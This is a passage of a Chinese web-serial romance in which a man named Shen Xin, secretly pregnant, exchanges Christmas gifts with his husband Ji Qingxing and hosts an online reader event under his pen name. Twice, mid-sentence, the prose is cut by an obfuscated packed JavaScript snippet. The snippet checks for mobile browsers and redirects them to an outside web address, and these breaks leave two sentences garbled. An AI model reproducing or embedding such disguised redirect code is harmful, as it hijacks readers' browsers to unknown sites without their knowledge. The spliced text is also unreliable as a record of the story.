纪轻行却想到了别处,问:“我早说,你会推掉劳拉的party,只和我过二人世界吗?” 沈昕一愣。 纪轻行问得非常认真郑重。 但他现在还回答不了这样的假设,未及开口,纪轻行又笑了。 “不用这么着急下结论。其实呢,我虽然占有欲强,却不是强在这些方面,和你以伴侣的身份出席各种场合,让大家看到我们亲密无间,知道你只属于我,俗称秀恩爱,也令我非常快乐。而且我更想让你快乐,比如今晚,似乎是你跟我结婚以来最开心的时候。” 沈昕的内心有点震动,说:“是,我今晚的确很开心,很放松。” “有没有我的功劳呢?” 沈昕顿了一下,诚恳道:“当然,你也是party的一部分。” 纪轻行不满意,追问道:“我的意思是,我知道如果没有我,你今晚照样会很放松很快乐,但有了我你更快乐。专属于我的那部分,为你的夜晚增光添彩,产生了非常明显的变化,这样的有吗?” 沈昕没说话。 揣摩纪轻行话里的深意,有点儿像当你处于暗恋或暧昧期,总期望着那个对象会突然出现。 上学时候的春游,上班时候的聚会,那个人不在也可以,你依旧能和同学、同事们说说笑笑,但如果那个人来了,你就一下子…… 更加活泼兴奋,更加妙语连珠,仿佛自己是世界的中心、众神的宠儿。 很少女很细腻的心思。 难为纪轻行问的出来。 也难怪,自己以前只看文字,会把他当成女孩子。 像刚才的二选一一样,他依旧暂时无法回答。 不是故意不说,是的确不太明晰。 没有百分百,甚至百分之二百的笃定就等于零。 以前他一直觉得他对爱情和婚姻不执着,现在才明白,恰恰相反,他恰恰是太执着了。 他走向一旁,假意去看地上的花,片刻后,视线落在花朵气球堆里一个深蓝色的绒面礼盒上。 是装饰品? 可装饰品一般不用绒面,而且放眼望去,礼盒似乎只有这一个。 “都好奇了,还不打开看看?” 沈昕:…… 这家伙究竟是属什么的,观察能力太可怕了。 他一时没动,纪轻行便弯腰拾起礼盒,又说:“比我预计的发现用时早不少。” 沈昕:………… 他非常无奈地翻了个白眼,不吐不快:“虽然你口口声声说喜欢我,我也确实感受到了,但老实说,我也能感觉到,你不太看得上我。” “什么?这不是矛盾嘛,我怎么可能……” “不是那种看不上,就是……觉得我没什么能力,就是你以前说过的绣花枕头、草包,直到现在你都没有改变过这种想法。” 纪轻行手里拿着礼盒,一脸尴尬:“昕昕,良辰美景,不要破坏气氛嘛。” 沈昕不说话。 纪轻行就得继续说。 好在他聪明,看沈昕的态度就明白,糊弄是行不通的。 “好吧,你非要扯能力,那我只能说,认识的人里从来只有别人看我纪轻行,没有我看他们,这无关礼貌和感情,更无关爱情。你一年能赚多少钱重要吗?你能不能为你家的品牌增添价值重要吗?你有没有特别的天赋,是不是名人大家重要吗?不重要啊!完全不重要!因为不管你是怎样的,我都爱你,始终如一。” 沈昕仍是不说话。 纪轻行也沉默。 他自觉说得已经足够。 片刻后,沈昕轻声道:“但我觉得是重要的。你说认识的人里没有谁的能力能让你看上,那也就是说,不包括不认识的人,比如沉心,你对他就……” “你怎么又来……”纪轻行顿时表情扭曲,“而且你要不要这么较真这么讲逻辑啊,还排除上了……昕昕,真不是我心虚逃避,明天,明天可以吗?明天你问什么我答什么,但是现在,我就只想、只想……” 突然,沈昕从纪轻行手里拿过了礼盒。 他是有些扫兴和不依不饶了。 心里那些结以后慢慢再说吧,就让今夜先只是今夜。 他用这种方式向纪轻行表态,甚至是道歉。 纪轻行当然懂得。 礼盒打开,露出一条金手串,手串上有个吊坠,是苹果的形状,果茎上带着个叶片,精致而应景。 纪轻行拿起手串,两手打开扣环,一左一右绕在沈昕腕上。 沈昕怔怔地低头。 想起以前在酒店,纪轻行给他戴戒指的情景。 又鬼使神差地想,他这辈子估计不会有“惊喜收到求婚戒指”的体验了。 纪轻行把苹果坠调整到最佳位置,沈昕默默观察。 他们这个年纪的人很少戴金饰,他下意识就觉得自己戴估计不好看,可现在看来,手串设计得时尚漂亮,效果意外地好。 而且这个吊坠…… 双眼一撩,视线落在纪轻行穿着黑色衬衫的胸口,那里有个一模一样的胸针。 他早就戴上了。 真是蜿蜒曲折的心思啊。 纪轻行很为自己这样的心思而骄傲,笑着说:“把只属于我们的东西放在心上。” 沈昕无奈道:“很土。” 纪轻行抬起食指摇了摇:“你没有完全抓住重点。” 沈昕疑惑:“还有什么重点 ?” 纪轻行道:“快问我是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14745301|152435||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不是定制的?” 沈昕:……………… “快问啊。” 沈昕:“你都说了我还问什么?” “我没说啊,你问了我才说。” 沈昕:…………………… 三岁恐怕都有点儿多。 他真怕不问的话今晚会一直这样循环下去,妥协道:“好,我问,是定制的吗?” 纪轻行爽了,用非常浮夸的语调语气说:“是啊,这是你老公我亲自设计,专门定制的情侣首饰,全世界独一无二……不,独二无三呢。” 沈昕:“是吗?设计的很一般。” 纪轻行:“那么下次你来设计。” 沈昕:“没有下次。” “不一定哦。”纪轻行非常自信,“昕昕,以后一直戴着,好么?” 沈昕想了想,道:“这我答应不了。” “哎呀,你又较真了,我的‘一直’不是必须囊括每分每秒,只是希望你把它当作一个重要的随身物件。如果没有戴手串的习惯,就稍稍养一养这种习惯,仅此而已。” 沈昕又想了想,说:“我也给你送个礼物吧。” 纪轻行眼前一亮。 沈昕解释道:“你别多想,只是回礼,而且现在没有,得后面补给你,至于是什么,我也还没想呢。” “可以啊,我不着急,也不多想,你慢慢考虑,我单纯地期待着。” 沈昕走去圣诞树旁,摆弄了一会儿枝条,淡淡地说:“其实我并不是喜欢圣诞节本身,甚至也不是入乡随俗,只是喜欢那个氛围罢了。” “谁不是呢?”纪轻行道,“大伙儿想尽办法,不过是给自己的快乐和种种与平时不同的行为找个合理的由头。其实我倒不想这样,我想要我的特别行为褪去特别,就像给你送礼物,为什么只有过节才能送?或者说,为什么只有特殊日子的礼物才有意义?明明应该想送就送,并且因为我们的感情在,无论什么时候送、送什么,都是极具意义,与别不同,超越了礼物本身的。” 沈昕突然想到他的打赏。 看来这就是藏在那些打赏背后的心情。 纪轻行又说:“你喜欢圣诞节的氛围,不如我们跳个舞?你以前在这边上学,圣诞、新年,应该都有舞会吧?” “有是有,但我不会跳。” “就瞎跳嘛。” “还是不要了,可能会踩到你。” “那又怎样?我们不是专业舞者,也不在公共场合,乘兴而行,兴尽而返,何必见戴?” 沈昕心头一动。 此时此刻,纪轻行和“沉老师的狗”,又有一些重合了。 沈昕没说话,但看眼神纪轻行就知道。 他吹起口哨,吹着Jingle Bells,因为吹得很轻很慢,这首儿歌不再活泼欢快,反而显得静谧悠扬,童真稚气也变成了深深的柔情和依恋。 他定定地望入沈昕琥珀色的眼睛,牵起他的双手,拉着他在圣诞树和花朵气球之间的空地上缓慢挪动。 没有步伐,没有节奏,没有配合。 自然而然就已经很好。 沈昕的心怦怦跳着,脸颊又红又热,他垂着头,却清晰地感觉到纪轻行的目光停在自己脸上。 双手开始出汗。 纪轻行一定也感觉到了。 这么紧张是不是有些丢脸呢? 而且,他为什么要紧张? 明明是纪轻行喜欢他,明明应该纪轻行紧张才对啊。 …… 最后,他被纪轻行推着来到墙边,靠上墙,刚觉得有些踏实,觉得这个环节应该就要过去了,不料突然更加紧张起来。 因为纪轻行似乎要进行下一个环节,一个非常……的环节—— 吻他。 刚才只是看着他的脸,现在则是盯着嘴唇,呼吸也有点重。 他不知道该怎么应对,只能用僵直掩盖颤抖,用屏息中断混乱。 如果纪轻行现在就吻他,终究有点…… 太快了。 可能是因为紧张和抗拒太过明显,可能是因为他被纪轻行牵着的手在控制不住地用力,那家伙终于放弃了吻他,也松开了他的手。 很正常地问:“吃蛋糕么?” 非常丝滑地带了过去。 沈昕摇摇头:“不吃了,今天晚上吃得很饱,而且现在太晚了,我该……睡觉了。” “那我放冰箱,明天吃?听说这个师傅手艺很好,我专门找过去的,不尝尝有点儿亏了。” “……行吧。” “但明天口味口感会下降很多。找个机会,咱们一起去店里吃怎么样?” “到时候再说。” 糊弄过去,再略显仓皇地提出离开。 纪轻行没有留他,很爽快地同意,送他上楼,看着他进门。 洗完澡躺上床已经是一个小时之后。 因为他一边洗澡一边复盘今晚,一边对自己、对目前感到困惑。 躺在柔软的被窝里,困惑挥之不去,即便这么晚了也毫无睡意。 ……只能骚扰纪轻行。 沈昕发去信息—— [我觉得我们的关系非常诡异。] 纪轻行也没睡,很快回复道:[怎么说?] 沈昕措了下辞,侧躺着敲字:[名实不副也就罢了,“实”是什么我也搞不清楚。] [嗐,还以为你怎么了呢。] 沈昕一愣。 纪轻行总是这样,什么正经的都没说,轻飘飘一句有的没的,竟就在瞬间减轻了人的压力。 但他又不只是这样。 他能满足情绪价值,也能解决实际问题。 片刻后,沈昕的手机屏幕上跳出来几行字—— [咱们现在的“实”就是在谈恋爱啊,准确地说,是暧昧期与确定期之间,最怦然心动的阶段。谁能在搞暧昧和谈恋爱的时候清清楚楚麻麻利利啊,又不是做数学题。亏你还搞创作呢,怎么连这个道理都不懂?你的创作不会是写火箭如何升空之类的科学论文吧?] 当然不是。 沈昕在心里默默地说。 他当然懂。 他写过多少又复杂又真实的人物,只不过能医不自医,当局者迷罢了。 在这一点上,他承认,他是比纪轻行差一些。 但纪轻行至于这么高傲吗? 话里话外给他能的。 ……哼。 原本想稍微对他好点儿,现在看来,暂且算了。 37.线上活动 第二天早上,沈昕被孕吐叫醒。 最近这件事形成了严格的规律,到点儿就来,让他连逃避都做不到了。 吐完漱口刷牙,没有直接起床的精神,他躺回被子里,抱着毛茸茸的抱枕,却睡不着。 ……怎么可能睡得着啊! 已经站在了抉择的最后期限上,要么流产,要么好好地为生孩子做准备。 老实说,如今他心里是有偏向,但时不时又会犹豫,生怕后悔。 但无论如何,他都不准备现在就告诉纪轻行。 如纪轻行昨晚所说,他们正处于暧昧期,未来会发展成什么样,应该靠自然而然的内心力量。 如果现在就告诉他自己怀孕了,无异于把两块错位的拼图强行按到一起,就像他们的婚姻。 强扭不会有好结果。 他不想重蹈覆辙。 这时手机响了,纪轻行发来语音问:“起床了吗?要不要下来吃蛋糕?” 沈昕脑海里随即出现了蛋糕的样子,胸口传来一阵恶心。 他皱了皱眉,回复说:“不想吃,太腻了。” 纪轻行秒回:“配咖啡中和一下嘛。” 沈昕更加皱眉,说:“我还没起床呢,昨晚睡得太晚,今天想多睡一会儿,我不吃了。” “哦。”纪轻行明显很遗憾。 沈昕却没空顾及他的情绪,而是打开浏览器搜索:怀孕能不能喝咖啡? 敲完字又觉得瞎琢磨有什么用?真决定了生,就去医院把想问的都问清楚。 可是医生又说最好带丈夫一起来。 麻烦。 沈昕从床上坐了起来。 昨天的种种仍在脑海。 客观公正地说,纪轻行这人…… 挺好的。 他鼓起腮帮子考虑了一会儿,给那家伙发语音:“沉心明天要做线上活动,跟读者聊天,你知道吗?” “我不知道啊。”纪轻行理所应当地说,“我当然不知道,我都跟你说了多少次了,我的世界里再没有沉心这个人。” 沈昕忍耐道:“那我现在跟你说,你知道了?” “嗯。” “你参加吗?” “嗐呀昕昕……”纪轻行的语气又无奈又委屈。 “你可以参加,我不生气,也不多想,真的。” “得了吧,你这种心思我太懂了,嘴上说不多想,但我要是真信了去参加了,你保管……” “所以你其实是想参加的?” “你看看,是不是给我说中了?” 沈昕一怔。 他也没想到,怎么就下意识地说了这句话。 接着,他产生了一个非常大胆的念头,说:“我准备参加。” 纪轻行没有立刻回复。 过了一会儿才刻意轻松地说:“你随便,反正我不参加。” 沈昕更加大胆:“咱俩可以一起参加,听说有回馈读者送福利的环节,你以前订阅评论打赏一条龙,是头号粉丝,回馈首先就该回馈你,他会送你什么福利呢?你都不好奇不期待吗?” “绝了,昕昕,你真地绝了。”纪轻行崩溃道,“你明明哪儿哪儿都好,唯独这一点……虽然你吃醋确实令我很有优越感,可以当作小情趣,但总这么着,我……哎。我没办法了,要是挖心不会死,我绝对要挖出心来给你看看,以证清白。” 沈昕:…… 其实他不是吃醋。 他说一起参加活动,也不是钓鱼。 虽然并不想主动坦白,但如果纪轻行真接了这茬,他也不怕暴露。 “昕昕。”纪轻行继续发来语音,“我现在只期待你一个人的福利,你知道吗?我今天早上格外想你。” 沈昕:………… 看吧,以为流里流气一下就能把这些揭过去。 至少在这件事上,纪轻行的处理思路还是老一套,主打一个“哄”字,并没有真正与自己对等。 那就随他。 - 第二天中午,国内晚饭后的黄金时间,沈昕坐在电脑前,打开软件与聊天大纲,检查话筒和所有设置,满满倒了杯水放在桌上。 他穿了一套挺正式的衣服,头发也特意打理了一下。 虽然是声播,没有画面,但毕竟是第一次公开做活动,不止读者会来,业内人士也会来,可能还有路人,他非常重视,争取从方方面面做到最好。 他还有点儿紧张。 做活动的目的是宣传,说得再功利一些,是吸粉,他对自己这方面的能力不太有信心,从活动前一个小时开始,嗓子就不舒服起来,开始前十分钟,手指和嘴唇都微微发抖了。 但他也不是真怕。 因为已经做足了所有准备,他相信,稍微紧张的状态反而能帮助发挥。 开始前一分钟。 他闭上眼睛,深深吸气,接着睁开眼睛,点下直播按钮。 同一时刻,他想到了纪轻行。 信誓旦旦说不会来,有没有可能阳奉阴违呢? ……不,不会。 要阳奉阴违早阳奉阴违了。 纪轻行在这方面的正直和坚毅真是令人敬佩。 也正因此,沈昕此时觉得很遗憾。 非常遗憾。 并不是为他和纪轻行,而是为“沉心”和“沉老师的狗”。 对于在心灵世界中交流了将近五年的两人来说,这次活动堪称超有意义的相逢,他能走出今天这一步,也少不了“沉老师的狗”的鼓励和劝说。 可是今天他不在。 又恰恰是因为自己。 他想为他做点儿什么。 突然之间,昨晚说的“我也给你送个礼物吧”在脑海里成形了。 “大家好呀,我是沉心,好久不见。” 打完招呼,他笑了一下。 “虽然是第一次做活动,而且是声播,并非物理意义的上‘见’,但通过文字和大家交流已经五年了,在我心里,我们早已是熟识的、有共同爱好的朋友,所以才说‘好久不见’。” 评论区顿时刷屏。 有的跟他问好,有的也说“好久不见”,有的干脆只发一串激动的“啊啊啊啊啊”,还有的说他声音好听。 接着就加1加1加1,加10086,加身份证号…… 沈昕继续笑。 “因为我有点紧张,说话的时候嗓子发抖,显得好像有些磁性,其实没有那么好听。” 大家又开始“哈哈哈哈哈”和“好可爱好会说”刷屏。 一来二去的,沈昕不紧张了,按照大纲内容推进,该发挥的时候就自由发挥。 首先是说近况。 “……现在在香国,香国最近过圣诞节,氛围挺好的,前阵子下雪,景色也特别好,人的心情就跟着好。” “这几年我基本一直在香国,主要是上学。前段时间回国,大家应该都发现了,那段时间我的更新IP在国内,因为家里有事,事情办完就又回来了。” 他看了看评论区的问题。 “嗯……暂时没有计划是定居这边还是彻底回国,目前就是看工作需要,如果做线下活动的话就会回去。” 一言激起千层浪。 评论区激动不已,纷纷反复确认起来。 沈昕笃定地说:“会啊,我跟编辑大人已经达成一致了,线下活动的内容和时间需要工作室具体去计划,这次的线上活动算是预热吧,后面活动会越来越多,形式也会更丰富,大家可以期待。不过无论如何,活动都基于作品本身,我最喜欢的永远是用作品和大家交流。” 评论区支持、尖叫,满屏爱心与鲜花。 话题顺利进入聊作品的阶段。 “目前连载的这本书进度过半了,大纲是确定的,后面除非需要雕琢的地方可能会写得慢一点,情节上不会出现断更的情况。” “这本书也在洽谈版权,可能会出影视,具体看编辑那边跟进的情况吧。” “同时在存稿一个中篇,历史题材,之前说过的。” 这时评论区便有人问—— [听说这本是定制?] [是直接写给影视公司的?] [那人物和情节也是规定好的吗?] [外行领导内行,肯定不如沉老师自己写的。] [会发网络连载吗?还是直接出书?还是直接出剧?只关心我们怎么看。] 关于这个问题,沈昕和阿圆讨论过了,他们恰恰要在这次活动中把这件事说清楚。 “在写作方面,我一直抱有一种不断尝试和挑战的心态,哪怕失败了也没关系,积极的失败总比消极的舒适要好。这几年来,虽说写的内容不一样,但本质上是在重复同一个模式,所以我觉得需要突破一下。创立个人工作室、做活 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14769733|152435||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 动,包括之前尝试和一些公司进行项目合作,都是因为这个。” “正在存稿的中篇小说,最初确实是项目内容,合作方要求了时代背景和主题方向,我对他们的要求有认同,所以才开始合作。不过很可惜,现在合作已经终止了,但小说的版权在我手里,我可以‘任意地’继续创作它。大家不用担心这是我被迫写出来的烂东西,不会的,我在这里保证,这一辈子,哪怕不写,也不会‘被迫’写,这是我对文学艺术的基本尊重。” 评论区沸沸扬扬。 沈昕看了一会儿,挑了几个比较尖锐的问题进行回答。 “怎么能说是应试八股文呢?我觉得可以把合作方提出的背景和主题看作是灵感来源,就像你读书、看剧、看电影,受了启发、有了感触,然后产生了‘我要写一个怎样的故事’的冲动。灵感与冲动绝不是凭空产生,有时候它们看似来得莫名其妙,但一定有源头,这个源头在你的内心深处,而你内心深处的东西,正是你长期所见、所闻、所感的积累。如果你是一张白纸,那么第一个黑点一定来自于外。” “更何况,我和项目方的合作关系并没有持续很久,他们甚至没有来得及看过我写的任何一个字,更加谈不上修改指导,所以这本小说当然是完完全全属于我的啊。” “合作方不可以透露,这既是工作保密程序,也是对对方的尊重,就像对方也不会大肆宣扬他们曾经找过我一样。终止合作肯定有原因,经济活动中那么多不同种类的项目,最终能够顺利完成的其实是少数,多数的遭遇可能都是被毙、暂停、失败……等等,所以真地没有瓜啦。” 他讲的道理令人心服口服,一些刻意不和谐的声音再也没有发难的余地。 他接着说:“因为是个中篇,所以我想等目前连载的这本书完结以后看看存稿进度,跟编辑商量一下用什么形式发更好。” “好啦,接下来是大家都非常期待的回馈福利环节,辛苦大家关注工作室的官方账号,参加抽奖,第一次做回馈,奖品数量很大,中奖率蛮高的,大家可以积极参与一下。” “奖品名称叫作‘沉心作品大礼包’,包含我的亲笔签名和作品周边:十大名场面重现、十位票选人气角色粘土人、二十枚名句立牌和书签。名场面画稿和人气角色形象由工作室设计师负责,设计得非常好,又还原又漂亮又有艺术感,我看了以后一晚上都没睡着觉,真的。” “名句不是票选,是我挑的,算是一点点私心,把我自己认为写得好的句子送给大家。下面我念一下。” 他说福利内容的时候,评论区就炸了锅,这可是大手笔! 念名句时则更加炸锅,每念一句就有无数的“啊啊啊啊啊”,原句文字、说话角色的名字也不断出现。 沈昕脸上满是幸福的笑容。 念完定好的那些,他笑得深了一点儿,说—— “最后一句是:下面我要开始大放厥词了。” 评论区一人提出疑问:[对不起,我有罪,我不配当粉丝,求问这句话是哪本书里的?] 另一人说:[不知道啊,沉老师的书我都看了,有这句吗?] [没印象。] [完了,该重新复习一遍了。] [可我为什么觉得这句话很熟悉,好像经常见。] [啊我想起来了!] [什么什么?] [哪里的哪里的?快说啊!] [我、我不敢说(对手指)。] 沈昕看着屏幕,笑得眼睛弯了起来,接话道:“不必介意,没什么不能说的。这句话确实不是书里的,而是经常出现在评论区的一句话,说话的人想必大家也都知道,就是那位一直支持我的读者,‘沉老师的狗’。” “我把这句话加入周边,既是想表达对他长期以来非常厚重的支持的感谢,也是想以他为代表,感谢所有读者。正是因为有你们,沉心才会成为今天的沉心。” 所有读者在他心里都非常重要。 但不可否认,“沉老师的狗”是与众不同的那个。 不是因为打赏了很多钱,而是因为他走进了自己创作的最深处,影响了自己很多。 就算他不是纪轻行,自己也会这么做。 但同样不可否认的是,因为他是纪轻行,他…… 更要这么做。 纪轻行和“沉老师的狗”,他们重合的部分,变得更多了。 38.蛊惑 “下面我要开始大放厥词了”是“沉老师的狗”写长评的时候经常出现的话。 一般用于大量延伸拓展或情绪充沛的表达之前,以示幽默及谦虚。 这句话并非每次都有,但只要有,沈昕看到,便会不由自主地露出微笑。 以前不知道“沉老师的狗”就是纪轻行,这句话的表现力尚且有限,现在知道了,把纪轻行的声音语气、表情动作加进去,这句话的威力跟着增强了许多,仅是微笑完全不够,必须笑出声才可以。 沈昕在屏幕前抿嘴忍耐。 评论区则继续“啊啊啊啊啊”—— “沉心老师记得我们!真好!太好了呜呜呜!” “我永远爱沉老师!” “正因为有了沉心,我们也才能成为今天的我们!” “小心心是世界上最好的小心心!” “可惜狗老板好久都没出现了,想念狗老板,狗老板你快回来。” “如果我是狗老板,我现在真的直接哭死,这怎么不是一种双向奔赴呢?” “嗯?事情好像突然奇怪了起来。” “完蛋,有点想嗑。” 沈昕一看,赶紧试图把有脱缰之势的评论区拉回来,说 :“人们在不同的阶段有不同的人生主线,狗老板现在或许有更重要的事情,我觉得我们不用想太多,祝福他就好。接受离别是常态,相聚就更值得珍惜,然后虔诚地期待……重逢的那天。” 评论区的“啊啊啊啊啊”又变成了大量的“呜呜呜呜呜”。 这时,放在桌上的手机亮了,是新消息,来自大伙正在讨论的“狗老板”。 如果是平时,沈昕肯定会等正事结束了再看,但现在,他有种非常强烈的立即就看的冲动。 或许是因为说曹操曹操就到,这样赶巧,缘分牵引使然。 或许是因为纪轻行明知道这个时间段沉心在做活动,自己又说了会参加,所以故意发来消息。 想表达什么呢? 沈昕打开手机。 他发了一段视频,静音状态下,能看到纪轻行在公司,时而坐在办公室里看文件,时而有员工来找他,时而很多人在一起开会。 每个场景都有时钟入镜,非常明显地表现出纪总从早上直到现在一直埋头工作,所有时间都被填满,所有行为都很公开,完全没有处理私事的空间。 处心积虑,就是为了告诉自己,他说到做到,没有参加沉心的活动,不会再沾染那个人一点。 刻意得好笑,认真得……悲凉。 沈昕不由自主,充满感慨地叹了口气。 然后就被听见了。 “老师怎么了?” “老师旁边是不是有人?” “刚才是小心心在叹气吗?感觉好复杂哦。” 沈昕心头一紧。 糟糕,看完纪轻行视频的瞬间,他竟然忘了还在直播! 为了避免大家觉得他不认真,更为了消除无端的猜测,他解释道:“对不起对不起,刚才我看了一下手机。其实我的手机一直是静音,活动期间也不准备用。但刚才是……我丈夫发信息,我担心他有急事,所以看了一下,抱歉抱歉,我保证绝不再出现这样的情况。” “老师不必道歉呀,偶尔看看手机没什么,理解!” “就是就是,我们知道小心心做事一向特别认真!” “虽然但是丈夫发消息?是我理解的那个丈夫吗?” “老师结婚了?!” “丈夫?丈夫!啊啊啊我失恋了!” “再次完蛋,沉狗cp还没正经开嗑就宣告结束。” “求问,沉心老师是男是女?” “男的啊,而且很帅呢,所以老师的丈夫……” “啊啊啊啊啊啊!” “我记得前两年老师说还在上学啊,英年早婚吗?” “丈夫发消息,那个叹气,有点意思哦。” “别太关注别人的隐私好么?” “沉老师自己说的,又不是别人扒的。” “好了好了知道了就行了,没必要一直抓着不放。” 沈昕:…… 沈昕:………… 沈昕:……………… 他才是真地完蛋,想让大家明白他绝对没有不认真,就诚恳地说了出来,结果…… 嘴怎么就这么快!怎么就这么蠢! 快想办法挽回! “我确实……结婚了。”他汗涔涔地补救道,“我……不是明星,所以既……无需隐瞒,也无需过多讨论,说出来只是就刚才的问题就事论事。今天的活动与此无关,所以这个话题就到这儿吧,非常感谢大家的理解。” - “有点像坐过山车。” 活动结束后,精疲力尽的沈昕瘫在沙发上,跟阿圆总结道。 电话里,阿圆哈哈笑着:“挺好,过山车总比一潭死水强。” “话是这么说没错,但是……” “我也没想到你会突然爆料。” “哎。”沈昕侧身,整个人缩进沙发里,“当时嘴巴有点不受控制。” “是纪总在冥冥之中控制你?” 沈昕一愣,仔细一想,这话有道理。 要不是被纪轻行突然发来的视频蛊惑了,他才不至于。 “说都说了,就别多想了,总的来说还是给你增加话题度嘛。”阿圆劝他,“还有突然加周边,我也没想到,不过也挺好,拉进了和读者的距离。” “对了,加的周边我想做个特别版,我直接跟设计师说吧。” 阿圆立刻明白了:“送给狗老板?” “嗯。” “可他不是都……” “也许有一天会重逢呢?”沈昕笑了起来。 有朝一日,纪轻行拿到独一无二的特别版,又会是什么反应呢? 吃晚饭的时候,纪轻行带着公司厨师做的饭菜上门了。 “今天改善伙食,有大菜。”他得意满满地把保温箱放在餐桌上。 如此正式的设备,沈昕忍不住道:“你要改行送外卖?” 纪轻行理所当然地“嗯”了一声,说:“只做你一个人的生意。” 沈昕无奈。 帮着一起把菜拿出来,有鱼有肉有菜有羹,还有一盘炒螃蟹。 香味四溢,难以抵挡。 “流口水了吧?”纪轻行超级得意,“先吃螃蟹,师傅说这是他最拿手的菜。” 想吃,但是…… 沈昕摇摇头:“我不吃螃蟹。” “啊?”纪轻行没想到,“为什么?” “有点儿……过敏。”沈昕张口就来。 “过敏?怎么没听你说过?” 沈昕略紧张道:“没机会吧,咱俩好像没有一起吃过螃蟹。” “是吗?”纪轻行抬眼回想,“在你家酒店吃过吧?记不清了,但那种席面,一般都有螃蟹。” 是有,纪总还剥虾拆蟹的演了一通,沈昕只能装忘了。 “可能吧,但我当时吃了吗?应该没吧,就算吃了估计也只是一两口。我对螃蟹的过敏比较随机,有时候没事,有时候就比较严重,所以还是尽量别吃的好。” 纪轻行看着沈昕,表情带着探寻。 类似的事发生不是一两次了,很怪。 却怪得毫无突破点。 一边想一边摆盘盛饭,纪轻行暂且换了话题。 “下午我给你发信息你怎么不回?” “不知道回什么。” “你知道我什么意思吗?” “不知道。”沈昕故意说。 “真不知道?那我给你展开讲讲?”纪轻行更加故意。 “我不想听,我要吃饭。”沈昕捏起筷子。 “你明明就知道。”纪轻行笑嘻嘻的,“你明明就很开心,但就是不承认,哎呀,我好难过,你这个人怎么这样啊。” 语气一波三折一唱三叹。 沈昕当没听见。 吃完饭,两人挺和谐地一起收拾了餐桌。 接着,纪轻行的手机响起一串复古铃音,他拿起来一看,又惊奇又好笑地“哎呦”了一声。 “你弟找我。” 沈昕反应了一下,才意识到他说的是童童。 “Q/Q语音电话,你说我接不接呢?” 沈昕的脸色不太好,说:“又不是找我,干嘛要我说。” 纪轻行无所谓地一笑,随即接起来,直接开了公放。 “童童。” “大哥哥!” “你好呀,又找我打游戏?” “不是打游戏,我今天不能打游戏,就是找你聊聊天。我听我老爸说,你和哥哥去了外国。” “嗯,香国。” “那你们还回来吗?” 纪轻行看了沈昕一眼,说:“不一定,看情况吧,最近估计不会回去。” “哦。”童童的语气有点遗憾,又问,“那哥哥还生气吗?” 想起来这个问题的缘由,不禁觉得小孩子真是又单纯又执着。 纪轻行再看沈昕:“他……没那么生气了。” 这是最准确、最不糊弄的答案。 一直回答问题并非纪总的习惯,抓住机会他便反客为主:“你快该去学校了吧?” “嗯,小黄叔叔现在还没来,我就给你打个电话。” “小黄叔叔送你?你爸爸呢?” 梁瑛前阵子明明已经活动自如了。 “我爸爸和老爸去医院了。” “又去医院? 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又把自己的描述看了一遍,“牛逼轰轰”四个字确实有点儿抽象。 他又抬头看纪轻行。 哎,自己还是作家呢,看来想去,竟然找不到更贴切的词。 纪轻行其人由内到外,一言以蔽之,还真就是“牛逼轰轰”。 设计师一时没回复。 过了一会儿,屏幕上发来一张草图。 沈昕立刻点开,喜出望外,不愧是专业人才,画的和他想的几乎一模一样,除了…… [脸稍微长一点。] [腿也再长一点。] [刘海短一点,不要遮眼睛。] [眼睛小一点,类似丹凤眼,但没有阴柔感,主要凸显深邃和凌厉。] [脸瘦一点,不要圆嘟嘟,没这么可爱。] [表情再嚣张一些,就是那种“老子天下第一在座的都是垃圾”的感觉。] [衣服是衬衫西裤皮鞋,胸口加个苹果型的胸针。] [左手无名指上加个戒指,素圈就行。] 他捧着手机,反复抬眼观察纪轻行,观察一下写一句。 终于,设计师又回了个:[……哦。] 沈昕猛然反应过来。 连忙打字:[对不起对不起,我一时上头,要求有点过分,实在对不起,其实刚才那样就可以,不用改了,这一版已经很好了,非常好。] 设计师:[没关系,您的要求一点儿也不过分,这是分内的工作,我可以改。] 沈昕吞咽了一下,回道:[那谢谢。] 接着,设计师化被动为主动—— [帅男多大?] 沈昕下意识想,十八公分,然后脸一热,惊觉自己被臭不要脸的纪轻行带坏了,赶紧镇定下来。 [二十五六岁。] 下意识又想,原来他竟然不知道纪轻行的生日。 设计师:[明白了,成男。发色瞳色是?] 沈昕:[黑色。] 设计师:[直发卷发?] 沈昕:[直发。] 又看了纪轻行一眼,补充:[可以有呆毛。] 设计师:[其他的颜色呢?] 沈昕:[蓝色系吧,没有特别要求,好看就行了。] 这时他才明白,草图只是草图,具体细节设计师都会再一一问,刚才是他太迫不及待了,一股脑地就…… 也不知道迫不及待个什么。 正在郁闷,设计师又问:[尺寸多少?] 十八…… 住脑。 都怪房间里太热了。 沈昕调整了一下呼吸,发去数据。 设计师秒回:[?] 沈昕确定道:[没有打错,就是这个。] 设计师:[明白了。明天给您交上色稿。] 沈昕:[不着急,这是我个人要的,没有ddl。] 设计师:[谢谢您,我会尽快的。] 沈昕:[辛苦了。] 以为这样就结束了,没想到设计师接着发来一句—— [沉老师,其实我也是您的读者,而且正因为是您的读者,才应聘到工作室来的。] 沈昕有点儿惊讶,又有点儿欣喜,心想怪不得把周边设计得那么好。 他回道:[原来如此。那首先要谢谢你的支持,以后咱们就是同事了,一起努力吧。] [好的老师!] 又以为这样就结束了,没想到设计师又来了一句—— 